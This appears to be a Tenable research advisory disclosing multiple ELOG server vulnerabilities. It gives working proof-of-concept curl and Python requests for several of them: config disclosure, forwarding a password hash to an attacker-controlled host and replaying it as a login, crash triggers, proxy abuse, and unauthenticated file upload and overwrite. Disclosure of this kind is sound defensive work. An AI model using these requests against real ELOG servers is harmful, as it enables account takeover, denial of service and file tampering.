Synopsis
Tenable found multiple vulnerabilities in the ELOG project. Combining some of these vulnerabilities could result in a complete compromise of all user accounts.
CVE-2019-3992: Configuration File Disclosure (CWE-200)
An unauthenticated remote attacker can retrieve the contents of the site's ELOG configuration via an HTTP request.
curl -vv http://localhost:8080/?cmd=GetConfig
This is of particular interest to an attacker because the "Admin User" field contains the usernames of privileged accounts.
Note: Tenable chose CWE-200 over the NVD-assigned CWE-319 for CVE-2019-3992 due to the following:
- The primary issue is that an unauthenticated remote attacker is able to expose sensitive information, whether or not it is sent in cleartext.
- CWE-319 pertains to the encryption of data in a channel which can be sniffed by unauthorized actors, which we do not believe applies in this case.
CVE-2019-3993: Password Hash Disclosure (CWE-200)
An unauthenticated remote attacker can obtain a user's password hash via an HTTP request. ELOG will forward the user's password hash to a server of the attacker's choosing in an HTTP request's cookie field. For example, the following script has the ELOG server at localhost:8080 send the user "test"'s password hash to https://192.168.88.249:8181.
import requests url = 'http://localhost:8080/Demo1/' files = dict(attfile=('https://192.168.88.249:8181', ''), cmd='Upload', jcmd='JUpload') cookies = dict(unm="test") r = requests.post(url, cookies=cookies, files=files) print(r.text)
Resulting in the following message being received by the attacker controlled server:
[email protected]:~$ ncat -lvnp 8181 --ssl Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: A101 A006 D5C5 164D 7F6D A90A E071 9E26 60E9 48FE Ncat: Listening on :::8181 Ncat: Listening on 0.0.0.0:8181 Ncat: Connection from 192.168.88.249. Ncat: Connection from 192.168.88.249:34030. GET / HTTP/1.0 Connection: Close Cookie: unm=test; upwd=sljnGYK4EExoItGYm2l5Wqg0JwDfZE4.67vp/tIXZk6 Host: 192.168.88.249:8181
Note: Tenable chose CWE-200 over the NVD-assigned CWE-319 for CVE-2019-3993 due to the following:
- The primary issue is that an unauthenticated remote attacker is able to expose sensitive information, whether or not it is sent in cleartext.
- CWE-319 pertains to the encryption of data in a channel which can be sniffed by unauthorized actors, which we do not believe applies in this case.
Use of Password Hash Instead of Password for Authentication (CWE-836)
ELOG recognizes a user as "logged in" if a valid password hash is found in the HTTP cookie field. For example, only an admin user can read the password file via cmd=GetPwdFile. Using the password hash from our previous example:
import requests url = 'https://localhost/Demo1/?cmd=GetPwdFile' cookies = dict(unm="test",upwd="sljnGYK4EExoItGYm2l5Wqg0JwDfZE4.67vp/tIXZk6") r = requests.get(url, cookies=cookies, verify=False) print(r.text)
Yields the following result:
[email protected]~$ python3 get_passwd_file.py <?xml version="1.0" encoding="ISO-8859-1"?> <!-- created by MXML on Mon Dec 2 14:09:21 2019 --> <list> <user> <name>User</name> <password encoding="SHA256">WKSaDStPmikIOYUMP8/lybgpfXcPv8q4ELJDd.0Z4/3</password> <full_name>Test User</full_name> <last_logout>0</last_logout> <last_activity>Mon Dec 2 14:09:21 2019</last_activity> <email>[email protected]</email> <inactive>0</inactive> <email_notify/> </user> </list>
CVE-2019-3994: Use After Free
An unauthenticated remote attacker can crash the ELOG server by sending repeated crafted HTTP POST requests. These requests cause retrieve_url() to heap allocate and free an SSL pointer. However, after free the SSL pointer continues to be used. A simple PoC follows:
import requests url = 'http://localhost:8080/Demo1/' files = dict(attfile=('https://192.168.88.249:8181', ''), cmd='Upload', jcmd='JUpload') r = requests.post(url, files=files) print(r.text)
Repeated use of this PoC could result in a similar stack trace:
Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7f1b460 in main_arena () from /lib/x86_64-linux-gnu/libc.so.6 (gdb) bt #0 0x00007ffff7f1b460 in main_arena () from /lib/x86_64-linux-gnu/libc.so.6 #1 0x00007ffff7f57bcf in SSL_shutdown () from /lib/x86_64-linux-gnu/libssl.so.1.1 #2 0x0000555555560424 in retrieve_url (lbs=0x5555565f1c18, url=0x7ffffffd5580 "https://192.168.88.249:8181/", ssl=1, buffer=0x7ffffffd5550) at src/elogd.c:2571 #3 0x00005555555ca69e in decode_post (logbook=0x7fffffffbcd0 "Demo1", lbs=0x5555565f1c18, string=0x5555565ff892 "\r\n--c3ff9669736023a9f6be1c4d388d3a2a\r\nContent-Disposition: form-data; name=\"cmd\"; filename=\"cmd\"\r\n\r\nUpload\r\n--c3ff9669736023a9f6be1c4d388d3a2a\r\nContent-Disposition: form-data; name=\"jcmd\"; filename=\"j"..., boundary=0x7fffffffbbd0 "c3ff9669736023a9f6be1c4d388d3a2a", length=382) at src/elogd.c:28511 #4 0x00005555555cd402 in process_http_request ( request=0x5555565ff718 "POST /Demo1/ HTTP/1.1\r\nHost: localhost:8080\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.22.0\r\nContent-Length: 382\r\nContent-Type: multipart/form-"..., i_conn=0) at src/elogd.c:29173 #5 0x00005555555d05d3 in server_loop () at src/elogd.c:30144 #6 0x00005555555d2739 in main (argc=1, argv=0x7fffffffe058) at src/elogd.c:31169 (gdb)
CVE-2019-3995: NULL Pointer Dereference
An unauthenticated remote attacker can cause a denial of service situation via a null pointer dereference. The vulnerability is triggered via the following HTTP GET request:
curl -vv http://localhost:8081/Demo1/?acmd=Upload
Which causes the following stack trace:
Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7d7f3c6 in _GI____strtol_l_internal (nptr=0x0, endptr=0x0, base=10, group=, loc=0x7ffff7f1b560 <_nl_global_locale>) at ../stdlib/strtol_l.c:283 283 ../stdlib/strtol_l.c: No such file or directory. (gdb) bt #0 0x00007ffff7d7f3c6 in _GI____strtol_l_internal (nptr=0x0, endptr=0x0, base=10, group= , loc=0x7ffff7f1b560 <_nl_global_locale>) at ../stdlib/strtol_l.c:283 #1 0x00005555555c4a40 in show_uploader_json (lbs=0x5555565f1c18) at src/elogd.c:27055 #2 0x00005555555c5c45 in interprete (lbook=0x7fffffffbcd0 "Demo1", path=0x7ffffffd6e00 "") at src/elogd.c:27395 #3 0x00005555555c9d98 in decode_get (logbook=0x7fffffffbcd0 "Demo1", string=0x55555663049e "?acmd") at src/elogd.c:28362 #4 0x00005555555cd123 in process_http_request (request=0x5555565ff718 "GET /Demo1/?acmd=Upload", i_conn=0) at src/elogd.c:29137 #5 0x00005555555d05ff in server_loop () at src/elogd.c:30148 #6 0x00005555555d2765 in main (argc=1, argv=0x7fffffffe058) at src/elogd.c:31173
CVE-2019-3996: Unintended Proxy (CWE-441)
Unauthenticated remote users can proxy HTTP GET requests through ELOG via crafted POST requests. The following script will trigger a request to https://www.google.com:
import requests url = 'http://localhost:8080/Demo2/' files = dict(attfile=('https://www.google.com:443', ''), cmd='Upload', jcmd='JUpload') r = requests.post(url, files=files, verify=False) print(r.text)
If the attacker targets an unlocked logbook, they can also download the server's response.
Attachment Uploading and Overwriting
Unauthenticated remote attackers can upload files to both locked and unlocked logbooks:
import requests url = 'http://localhost:8080/Demo2/' files = dict(attfile=('lol.htm', open('lol.txt', 'rb')), cmd='Upload', jcmd='JUpload') r = requests.post(url, files=files, verify=False) print(r.text)
But unauthenticated attackers can only retrieve the uploaded files from unlocked logbooks.
Furthermore, unauthenticated remote attackers can overwrite existing uploaded files. For example, if there already existed an uploaded file at "/Demo2/191203_092830/lol.htm" then the attacker could overwrite it using the following HTTP POST request:
import requests url = 'http://localhost:8080/Demo2/' files = dict(attfile=('191203_092830_lol.htm', open('lol.txt', 'rb')), cmd='Upload', jcmd='JUpload') r = requests.post(url, files=files, verify=False) print(r.text)
Solution
Additional References
https://bitbucket.org/ritt/elog/commits/38c08aceda8e5ac4bfdcc040710b5792bd5fe4d3
https://bitbucket.org/ritt/elog/commits/32ba07e19241e0bcc68aaa640833424fb3001956
https://bitbucket.org/ritt/elog/commits/15787c1edec1bbe1034b5327a9d6efa710db480b
https://bitbucket.org/ritt/elog/commits/283534d97d5a181b09960ae1f0c53dbbe42d8a90
Disclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]